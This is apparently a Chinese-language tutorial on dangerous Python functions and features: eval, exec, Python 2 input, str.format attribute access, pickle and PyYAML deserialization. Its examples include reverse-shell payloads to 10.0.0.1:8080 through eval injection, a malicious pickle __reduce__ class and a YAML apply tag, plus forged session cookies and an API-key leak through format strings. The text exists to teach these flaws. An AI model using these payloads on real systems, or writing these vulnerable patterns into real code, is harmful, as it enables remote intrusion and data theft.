Python中的危险函数


每个语言都有一些使用要特别小心的危险函数,这里例举Python的三个危险函数:eval(), exec() 和input(),不恰当的使用它们可能会引起认证绕过甚至是代码注入。 eval()

eval函数接受字符串并将字符串当作代码执行,比如

eval('1+1')


会返回2,所以eval函数可以用来在系统上执行任意代码。 我们来看个例子:

def addition(a, b):  return eval("%s + %s" % (a, b))result = addition(request.json['a'], request.json['b'])print("The result is %d." % result)


上面的代码,使用的是JSON格式来接收输入,正常的输入比如:

{"a":"1", "b":"2"}


那么会输出:

The result is 3.


但是因为eval就只是单纯的执行用户提供的输入,那攻击者就可以为程序提供一些恶意构造的输入,下面是一个例子

{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#", "b":"2"}


上面这个输入会导致程序调用os.system()函数,并在8080端口上开启一个反向shell给IP 10.0.0.1

Exec()


exec和eval类似,都是把给定的输入字符串进行执行,所以利用的方式也差不多,下面这个例子也是和eval那个例子类似。

def addition(a, b):      return exec("%s + %s" % (a, b))    addition(request.json['a'], request.json['b'])

Input()


在Python2中,接受用户输入有两个内置的函数:input()和raw_input(),后面Python3变成了一个:input() Python2中input和raw_input的区别是,raw_input是将输入变成字符串后再处理,而input是直接保留原始数据类型。 那么这有什么问题呢?如果使用Python2的input函数,可以意味着攻击者可以自动的传递变量名,函数名,从而导致绕过认证等其他意想不到的后果。 下面来看一个例子

user_pass = get_user_pass("admin")if user_pass == input("Please enter your password"):      login()else:      print "Password is incorrect!"


攻击者可以很简单的把user_pass变量名作为输入,然后可以看到,检查密码的等式为真,测试通过了

if user_pass == user_pass: // 为真


当然还有更猥琐的,攻击者可以传入get_user_pass(“admin”)达到相同的效果

if user_pass == get_user_pass("admin"):  // 也为真


由于input这个安全问题,在使用Python2(现在还有使用Python2的么?),应该使用raw_input来代替input。 这个漏洞在Python3被移除了,Python3的input和Python2的raw_input是相同的。

字符串格式化


Python还有一个函数是很危险的,它就是str.format()。如果一个程序在用户可以控制的格式化字符串上使用str.formate(),攻击者可以通过精心构造的格式化字符串访问程序的任意数据。这是一个很容易被利用的漏洞,会导致身份验证的绕过和数据泄露。 Python3引入了一个新的格式化方式,比起Python2的%运算符更强大更灵活。新的字符串格式化功能的一个特点是你可以访问对象的属性,这就让你可以做下面这样的事情。

CONFIG = {"API_KEY": "xxxxxxxxxxxxxxxxxxxxx"}class Person(object):    def __init__(self, name):          self.name = name        def print_nametag(format_string, person):            return format_string.format(person=person)            new_person = Person("Pxiaoer")print_nametag(input("Please format your nametag!"), person)


上面程序的功能是输入一个名字,然后返回格式化的名字。 比如下面的这次调用:

print_nametag("Hi, my name is {person.name}. I am a {person.__class__.__name__}.", new_person)


会输出:

"Hi, my name is Pxiaoer. I am a Person."


当用户可以控制格式化字符串的时候,问题就出现了。在使用Python对象方法的特殊属性可以用来泄露程序数据。比如,globals可以用来访问全局变量的字典。下面的调用,直接泄露了数据。

print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)


上面的调用会返回:

xxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxx


这样就造成了API key泄露给了程序的使用者。

利用Pickle反序列化


序列化就是把编程语言中的对象(比如Python对象)转换成,可以保存到数据库或者可以在网络传输的格式。 反序列化是相关的情况,就是将一个已经序列化的对象从文件或网络中读取,再转换回一个对象。 在Python中,序列化是通过Pickles来完成的。下面的例子将打印new_person的序列化的结果。

class Person:    def __init__(self, name):          self.name = namenew_person = Person("Pxiaoer")print(pickle.dumps(new_person))


结果:

b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x07Pxiaoer\x94sb.'


而pickle.load是返回Python的原始对象,供程序使用,这个过程称为unpickling。

print(pickle.loads(b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x07Pxiaoer\x94sb.').name)


输出:

Pxiaoer
Pxiaoer


当程序接受的攻击者恶意构造的数据时,该功能会使攻击者能够绕过身份验证,甚至是代码执行。

身份验证绕过


如果程序接受一个已经序列化的对象信息,但是没有检查对象的完整行。攻击者可以简单的提供一个假的pickle来绕过访问控制。 在这里假设程序的会话cookie是一个字符串,它是Person对象的base64编码的序列化表示。当程序接收一个会话cookie时,它需要反序列化,取出对像中的name字段来检查用户身份。

class Person:    def __init__(self, name):          self.name = name            new_person = Person("Pxiaoer")session_cookie = base64_encode(pickle.dumps(new_person))


序列化并不提供任何形式的数据保护,它只是数据进行打包传输的一种形式,如果cookie没有加密,在使用前没有检查cookie的完整性,攻击者可以轻松的伪造任何用户的cookie。

class Person:     def __init__(self, name):          self.name = namenew_person = Person("Admin")session_cookie = base64.b64encode(pickle.dumps(new_person))

代码执行


不安全的反序列化还可以用来实现代码执行。我们需要先记住一点,pickle是可以表示任意的Python对象。当一个程序做反序列化操作的时候,它是在实例化该类的一个新对象。 pickle类允许对象通过reduce方法来声明它们应该如果被序列化,这个方法不接受任何的参数,返回一个字符串或者元组。当返回一个元组时,元组将决定对象在反序列化期间如何重构。元组是以下的形式:

(callable object that will be called to instantiate the new object, a tuple of arguments for that callable object)


这就意味着,如果攻击者在一个对象上定义了reduce方法,那么这个序列化的对象可以在反序列化的时候被实例化成其他的东西。 下面我们来看个例子

class Malicious:    def __reduce__(self):           return (os.system, ('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1',))      fake_object = Malicious()session_cookie = base64.b64encode(pickle.dumps(fake_object))


上面的代码可以看到,定义了一个reduce方法,在反序列化的时候,就执行了reduce里面的代码。

os.system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')


这样攻击者得到了一个绑定在8080端口的shell。

YAML解析问题


另外一种不安全的反序列化的漏洞利用方式是通过加载YAML文件。 YAML 是 "YAML Ain't Markup Language "的缩写。它是一种数据序列化标准,在各种编程语言中被广泛使用。在Python中,Pyyaml是最流行的YAML处理库。 一个YAML文件,类似于pickles,可以表示任意的Python对象。在Pyyaml中,你可以把一个Python对象打包成YAML文件,比如

class Person:    def __init__(self, name):          self.name = namenew_person = Person("Pxiaoer")print(yaml.dump(new_person))


上面的代码输出:

!!python/object:__main__.Personname: Pxiaoer


为了将YAML文件重新变为原始的Python对象,程序需要调用

yaml.load(YAML_FILE)


这就和pickle反序列化问题一样,YAML加载可以给攻击者提供构造任意对象来实现代码执行的机会。

认证绕过


如果程序使用了用户提高的YAML文件来进行访问控制,而且不检查YAML文件的完整性,攻击者就可能构造任意的YAML文档来绕过访问控制。 下面来看个例子

class Person:      def __init__(self, name):          self.name = namenew_person = Person("Pxiaoer")session_cookie = base64_encode(yaml.dump(new_person))


如果使用上面代码来生成用户的会话cookie,那攻击者就可以简单的生成一个伪造的会话cookie。

class Person:      def __init__(self, name):            self.name = name        new_person = Person("Admin")session_cookie = base64_encode(yaml.dump(new_person))

代码执行


如果程序使用pyyaml 的版本低于 4.1,可以通过YAML向应用程序提供一个os.system()命令来实现任意代码执行。

!!python/object/apply:os.system ["bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"]

Python开发时的其他注意事项


除了语言特性产生的漏洞外,还有很多平台无关的问题,比如: XSS, XXE,SQL注入和命令执行等问题都需要时刻注意。 此外,被污染的包和未打补丁的依赖仍然是Python开发者最关心的安全问题之一。